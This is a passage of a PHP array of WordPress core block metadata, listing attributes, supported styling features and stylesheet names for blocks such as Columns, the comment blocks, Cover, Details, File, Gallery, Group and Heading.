'text' => true ) ), 'spacing' => array( 'blockGap' => array( '__experimentalDefault' => '2em', 'sides' => array( 'horizontal', 'vertical' ) ), 'margin' => array( 'top', 'bottom' ), 'padding' => true, '__experimentalDefaultControls' => array( 'padding' => true, 'blockGap' => true ) ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'allowEditing' => false, 'default' => array( 'type' => 'flex', 'flexWrap' => 'nowrap' ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), 'shadow' => true ), 'editorStyle' => 'wp-block-columns-editor', 'style' => 'wp-block-columns' ), 'comment-author-name' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-author-name', 'title' => 'Comment Author Name', 'category' => 'theme', 'ancestor' => array( 'core/comment-template' ), 'description' => 'Displays the name of the author of the comment.', 'textdomain' => 'default', 'attributes' => array( 'isLink' => array( 'type' => 'boolean', 'default' => true ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ) ), 'usesContext' => array( 'commentId' ), 'supports' => array( 'anchor' => true, 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-comment-author-name' ), 'comment-content' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-content', 'title' => 'Comment Content', 'category' => 'theme', 'ancestor' => array( 'core/comment-template' ), 'description' => 'Displays the contents of a comment.', 'textdomain' => 'default', 'usesContext' => array( 'commentId' ), 'supports' => array( 'anchor' => true, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ), 'spacing' => array( 'padding' => array( 'horizontal', 'vertical' ), '__experimentalDefaultControls' => array( 'padding' => true ) ), 'html' => false ), 'style' => 'wp-block-comment-content' ), 'comment-date' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-date', 'title' => 'Comment Date', 'category' => 'theme', 'ancestor' => array( 'core/comment-template' ), 'description' => 'Displays the date on which the comment was posted.', 'textdomain' => 'default', 'attributes' => array( 'format' => array( 'type' => 'string' ), 'isLink' => array( 'type' => 'boolean', 'default' => true ) ), 'usesContext' => array( 'commentId' ), 'supports' => array( 'anchor' => true, 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-comment-date' ), 'comment-edit-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-edit-link', 'title' => 'Comment Edit Link', 'category' => 'theme', 'ancestor' => array( 'core/comment-template' ), 'description' => 'Displays a link to edit the comment in the WordPress Dashboard. This link is only visible to users with the edit comment capability.', 'textdomain' => 'default', 'usesContext' => array( 'commentId' ), 'attributes' => array( 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ) ), 'supports' => array( 'anchor' => true, 'html' => false, 'color' => array( 'link' => true, 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ), 'style' => 'wp-block-comment-edit-link' ), 'comment-reply-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-reply-link', 'title' => 'Comment Reply Link', 'category' => 'theme', 'ancestor' => array( 'core/comment-template' ), 'description' => 'Displays a link to reply to a comment.', 'textdomain' => 'default', 'usesContext' => array( 'commentId' ), 'supports' => array( 'anchor' => true, 'color' => array( 'gradients' => true, 'link' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ), 'html' => false ), 'style' => 'wp-block-comment-reply-link' ), 'comment-template' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comment-template', 'title' => 'Comment Template', 'category' => 'design', 'parent' => array( 'core/comments' ), 'description' => 'Contains the block elements used to display a comment, like the title, date, author, avatar and more.', 'textdomain' => 'default', 'usesContext' => array( 'postId' ), 'supports' => array( 'anchor' => true, 'align' => true, 'html' => false, 'reusable' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-comment-template' ), 'comments' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments', 'title' => 'Comments', 'category' => 'theme', 'description' => 'An advanced block that allows displaying post comments using different visual configurations.', 'textdomain' => 'default', 'attributes' => array( 'tagName' => array( 'type' => 'string', 'default' => 'div' ), 'legacy' => array( 'type' => 'boolean', 'default' => false ) ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, 'heading' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'editorStyle' => 'wp-block-comments-editor', 'usesContext' => array( 'postId', 'postType' ) ), 'comments-pagination' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments-pagination', 'title' => 'Comments Pagination', 'category' => 'theme', 'parent' => array( 'core/comments' ), 'allowedBlocks' => array( 'core/comments-pagination-previous', 'core/comments-pagination-numbers', 'core/comments-pagination-next' ), 'description' => 'Displays a paginated navigation to next/previous set of comments, when applicable.', 'textdomain' => 'default', 'attributes' => array( 'paginationArrow' => array( 'type' => 'string', 'default' => 'none' ) ), 'example' => array( 'attributes' => array( 'paginationArrow' => 'none' ) ), 'providesContext' => array( 'comments/paginationArrow' => 'paginationArrow' ), 'supports' => array( 'anchor' => true, 'align' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'default' => array( 'type' => 'flex' ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-comments-pagination-editor', 'style' => 'wp-block-comments-pagination' ), 'comments-pagination-next' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments-pagination-next', 'title' => 'Comments Next Page', 'category' => 'theme', 'parent' => array( 'core/comments-pagination' ), 'description' => 'Displays the next comment\'s page link.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ) ), 'usesContext' => array( 'postId', 'comments/paginationArrow' ), 'supports' => array( 'anchor' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ) ), 'comments-pagination-numbers' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments-pagination-numbers', 'title' => 'Comments Page Numbers', 'category' => 'theme', 'parent' => array( 'core/comments-pagination' ), 'description' => 'Displays a list of page numbers for comments pagination.', 'textdomain' => 'default', 'usesContext' => array( 'postId' ), 'supports' => array( 'anchor' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'padding' => true ) ) ) ), 'comments-pagination-previous' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments-pagination-previous', 'title' => 'Comments Previous Page', 'category' => 'theme', 'parent' => array( 'core/comments-pagination' ), 'description' => 'Displays the previous comment\'s page link.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ) ), 'usesContext' => array( 'postId', 'comments/paginationArrow' ), 'supports' => array( 'anchor' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ) ), 'comments-title' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/comments-title', 'title' => 'Comments Title', 'category' => 'theme', 'ancestor' => array( 'core/comments' ), 'description' => 'Displays a title with the number of comments.', 'textdomain' => 'default', 'usesContext' => array( 'postId', 'postType' ), 'attributes' => array( 'showPostTitle' => array( 'type' => 'boolean', 'default' => true ), 'showCommentsCount' => array( 'type' => 'boolean', 'default' => true ), 'level' => array( 'type' => 'number', 'default' => 2 ), 'levelOptions' => array( 'type' => 'array' ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'html' => false, '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ), 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, '__experimentalFontFamily' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ) ), 'cover' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/cover', 'title' => 'Cover', 'category' => 'media', 'description' => 'Add an image or video with a text overlay.', 'textdomain' => 'default', 'attributes' => array( 'url' => array( 'type' => 'string', 'role' => 'content' ), 'useFeaturedImage' => array( 'type' => 'boolean', 'default' => false ), 'id' => array( 'type' => 'number' ), 'alt' => array( 'type' => 'string', 'default' => '' ), 'hasParallax' => array( 'type' => 'boolean', 'default' => false ), 'isRepeated' => array( 'type' => 'boolean', 'default' => false ), 'dimRatio' => array( 'type' => 'number', 'default' => 100 ), 'overlayColor' => array( 'type' => 'string' ), 'customOverlayColor' => array( 'type' => 'string' ), 'isUserOverlayColor' => array( 'type' => 'boolean' ), 'backgroundType' => array( 'type' => 'string', 'default' => 'image' ), 'focalPoint' => array( 'type' => 'object' ), 'minHeight' => array( 'type' => 'number' ), 'minHeightUnit' => array( 'type' => 'string' ), 'gradient' => array( 'type' => 'string' ), 'customGradient' => array( 'type' => 'string' ), 'contentPosition' => array( 'type' => 'string' ), 'isDark' => array( 'type' => 'boolean', 'default' => true ), 'templateLock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ) ), 'tagName' => array( 'type' => 'string', 'default' => 'div' ), 'sizeSlug' => array( 'type' => 'string' ), 'poster' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'video', 'attribute' => 'poster' ) ), 'usesContext' => array( 'postId', 'postType' ), 'supports' => array( 'anchor' => true, 'align' => true, 'html' => false, 'shadow' => true, 'spacing' => array( 'padding' => true, 'margin' => array( 'top', 'bottom' ), 'blockGap' => true, '__experimentalDefaultControls' => array( 'padding' => true, 'blockGap' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'color' => array( 'heading' => true, 'text' => true, 'background' => false, '__experimentalSkipSerialization' => array( 'gradients' ), 'enableContrastChecker' => false ), 'dimensions' => array( 'aspectRatio' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'layout' => array( 'allowJustification' => false ), 'interactivity' => array( 'clientNavigation' => true ), 'filter' => array( 'duotone' => true ), 'allowedBlocks' => true ), 'selectors' => array( 'filter' => array( 'duotone' => '.wp-block-cover > .wp-block-cover__image-background, .wp-block-cover > .wp-block-cover__video-background' ) ), 'editorStyle' => 'wp-block-cover-editor', 'style' => 'wp-block-cover' ), 'details' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/details', 'title' => 'Details', 'category' => 'text', 'description' => 'Hide and show additional content.', 'keywords' => array( 'summary', 'toggle', 'disclosure' ), 'textdomain' => 'default', 'attributes' => array( 'showContent' => array( 'type' => 'boolean', 'default' => false ), 'summary' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'summary', 'role' => 'content' ), 'name' => array( 'type' => 'string', 'source' => 'attribute', 'attribute' => 'name', 'selector' => '.wp-block-details' ), 'placeholder' => array( 'type' => 'string' ) ), 'supports' => array( '__experimentalOnEnter' => true, 'align' => array( 'wide', 'full' ), 'anchor' => true, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), '__experimentalBorder' => array( 'color' => true, 'width' => true, 'style' => true ), 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true, 'blockGap' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'layout' => array( 'allowEditing' => false ), 'interactivity' => array( 'clientNavigation' => true ), 'allowedBlocks' => true ), 'editorStyle' => 'wp-block-details-editor', 'style' => 'wp-block-details' ), 'embed' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/embed', 'title' => 'Embed', 'category' => 'embed', 'description' => 'Add a block that displays content pulled from other sites, like Twitter or YouTube.', 'textdomain' => 'default', 'attributes' => array( 'url' => array( 'type' => 'string', 'role' => 'content' ), 'caption' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'figcaption', 'role' => 'content' ), 'type' => array( 'type' => 'string', 'role' => 'content' ), 'providerNameSlug' => array( 'type' => 'string', 'role' => 'content' ), 'allowResponsive' => array( 'type' => 'boolean', 'default' => true ), 'responsive' => array( 'type' => 'boolean', 'default' => false, 'role' => 'content' ), 'previewable' => array( 'type' => 'boolean', 'default' => true, 'role' => 'content' ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'spacing' => array( 'margin' => true ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-embed-editor', 'style' => 'wp-block-embed' ), 'file' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/file', 'title' => 'File', 'category' => 'media', 'description' => 'Add a link to a downloadable file.', 'keywords' => array( 'document', 'pdf', 'download' ), 'textdomain' => 'default', 'attributes' => array( 'id' => array( 'type' => 'number' ), 'blob' => array( 'type' => 'string', 'role' => 'local' ), 'href' => array( 'type' => 'string', 'role' => 'content' ), 'fileId' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a:not([download])', 'attribute' => 'id' ), 'fileName' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'a:not([download])', 'role' => 'content' ), 'textLinkHref' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a:not([download])', 'attribute' => 'href', 'role' => 'content' ), 'textLinkTarget' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a:not([download])', 'attribute' => 'target' ), 'showDownloadButton' => array( 'type' => 'boolean', 'default' => true ), 'downloadButtonText' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'a[download]', 'role' => 'content' ), 'displayPreview' => array( 'type' => 'boolean' ), 'previewHeight' => array( 'type' => 'number', 'default' => 600 ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'spacing' => array( 'margin' => true, 'padding' => true ), 'color' => array( 'gradients' => true, 'link' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true, 'link' => true ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ), 'interactivity' => true ), 'editorStyle' => 'wp-block-file-editor', 'style' => 'wp-block-file' ), 'footnotes' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/footnotes', 'title' => 'Footnotes', 'category' => 'text', 'description' => 'Display footnotes added to the page.', 'keywords' => array( 'references' ), 'textdomain' => 'default', 'usesContext' => array( 'postId', 'postType' ), 'supports' => array( 'anchor' => true, '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => false, 'color' => false, 'width' => false, 'style' => false ) ), 'color' => array( 'background' => true, 'link' => true, 'text' => true, '__experimentalDefaultControls' => array( 'link' => true, 'text' => true ) ), 'html' => false, 'multiple' => false, 'reusable' => false, 'inserter' => false, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalTextDecoration' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-footnotes' ), 'freeform' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/freeform', 'title' => 'Classic', 'category' => 'text', 'description' => 'Use the classic WordPress editor.', 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'string', 'source' => 'raw' ) ), 'supports' => array( 'className' => false, 'customClassName' => false, 'lock' => false, 'reusable' => false, 'renaming' => false, 'visibility' => false, 'customCSS' => false ), 'editorStyle' => 'wp-block-freeform-editor' ), 'gallery' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/gallery', 'title' => 'Gallery', 'category' => 'media', 'usesContext' => array( 'galleryId' ), 'allowedBlocks' => array( 'core/image' ), 'description' => 'Display multiple images in a rich gallery.', 'keywords' => array( 'images', 'photos' ), 'textdomain' => 'default', 'attributes' => array( 'images' => array( 'type' => 'array', 'default' => array( ), 'source' => 'query', 'selector' => '.blocks-gallery-item', 'query' => array( 'url' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'src' ), 'fullUrl' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'data-full-url' ), 'link' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'data-link' ), 'alt' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'alt', 'default' => '' ), 'id' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'img', 'attribute' => 'data-id' ), 'caption' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => '.blocks-gallery-item__caption' ) ) ), 'ids' => array( 'type' => 'array', 'items' => array( 'type' => 'number' ), 'default' => array( ) ), 'navigationButtonType' => array( 'type' => 'string', 'default' => 'icon', 'enum' => array( 'icon', 'text', 'both' ) ), 'shortCodeTransforms' => array( 'type' => 'array', 'items' => array( 'type' => 'object' ), 'default' => array( ) ), 'columns' => array( 'type' => 'number', 'minimum' => 1, 'maximum' => 8 ), 'caption' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => '.blocks-gallery-caption', 'role' => 'content' ), 'imageCrop' => array( 'type' => 'boolean', 'default' => true ), 'randomOrder' => array( 'type' => 'boolean', 'default' => false ), 'fixedHeight' => array( 'type' => 'boolean', 'default' => true ), 'linkTarget' => array( 'type' => 'string' ), 'linkTo' => array( 'type' => 'string' ), 'sizeSlug' => array( 'type' => 'string', 'default' => 'large' ), 'allowResize' => array( 'type' => 'boolean', 'default' => false ), 'aspectRatio' => array( 'type' => 'string', 'default' => 'auto' ) ), 'providesContext' => array( 'allowResize' => 'allowResize', 'imageCrop' => 'imageCrop', 'fixedHeight' => 'fixedHeight', 'navigationButtonType' => 'navigationButtonType' ), 'supports' => array( 'anchor' => true, 'align' => true, '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true ) ), 'html' => false, 'units' => array( 'px', 'em', 'rem', 'vh', 'vw' ), 'spacing' => array( 'margin' => true, 'padding' => true, 'blockGap' => array( 'horizontal', 'vertical' ), '__experimentalSkipSerialization' => array( 'blockGap' ), '__experimentalDefaultControls' => array( 'blockGap' => true, 'margin' => false, 'padding' => false ) ), 'color' => array( 'text' => false, 'background' => true, 'gradients' => true ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'allowEditing' => false, 'default' => array( 'type' => 'flex' ) ), 'interactivity' => array( 'clientNavigation' => true ), 'listView' => true ), 'editorStyle' => 'wp-block-gallery-editor', 'style' => 'wp-block-gallery' ), 'group' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/group', 'title' => 'Group', 'category' => 'design', 'description' => 'Gather blocks in a layout container.', 'keywords' => array( 'container', 'wrapper', 'row', 'section' ), 'textdomain' => 'default', 'attributes' => array( 'tagName' => array( 'type' => 'string', 'default' => 'div' ), 'templateLock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ) ) ), 'supports' => array( '__experimentalOnEnter' => true, '__experimentalOnMerge' => true, '__experimentalSettings' => true, 'align' => array( 'wide', 'full' ), 'anchor' => true, 'ariaLabel' => true, 'html' => false, 'background' => array( 'backgroundImage' => true, 'backgroundSize' => true, '__experimentalDefaultControls' => array( 'backgroundImage' => true ) ), 'color' => array( 'gradients' => true, 'heading' => true, 'button' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'shadow' => true, 'spacing' => array( 'margin' => array( 'top', 'bottom' ), 'padding' => true, 'blockGap' => true, '__experimentalDefaultControls' => array( 'padding' => true, 'blockGap' => true ) ), 'dimensions' => array( 'minHeight' => true ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'position' => array( 'sticky' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'layout' => array( 'allowSizingOnChildren' => true ), 'interactivity' => array( 'clientNavigation' => true ), 'allowedBlocks' => true ), 'editorStyle' => 'wp-block-group-editor', 'style' => 'wp-block-group' ), 'heading' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/heading', 'title' => 'Heading', 'category' => 'text', 'description' => 'Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content.', 'keywords' => array( 'title', 'subtitle' ), 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'h1,h2,h3,h4,h5,h6', 'role' => 'content' ), 'level' => array( 'type' => 'number', 'default' => 2 ), 'levelOptions' => array( 'type' => 'array' ), 'placeholder' => array( 'type' => 'string' ) ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'anchor' => true, 'className' => true, 'splitting' => true, '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontFamily' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, 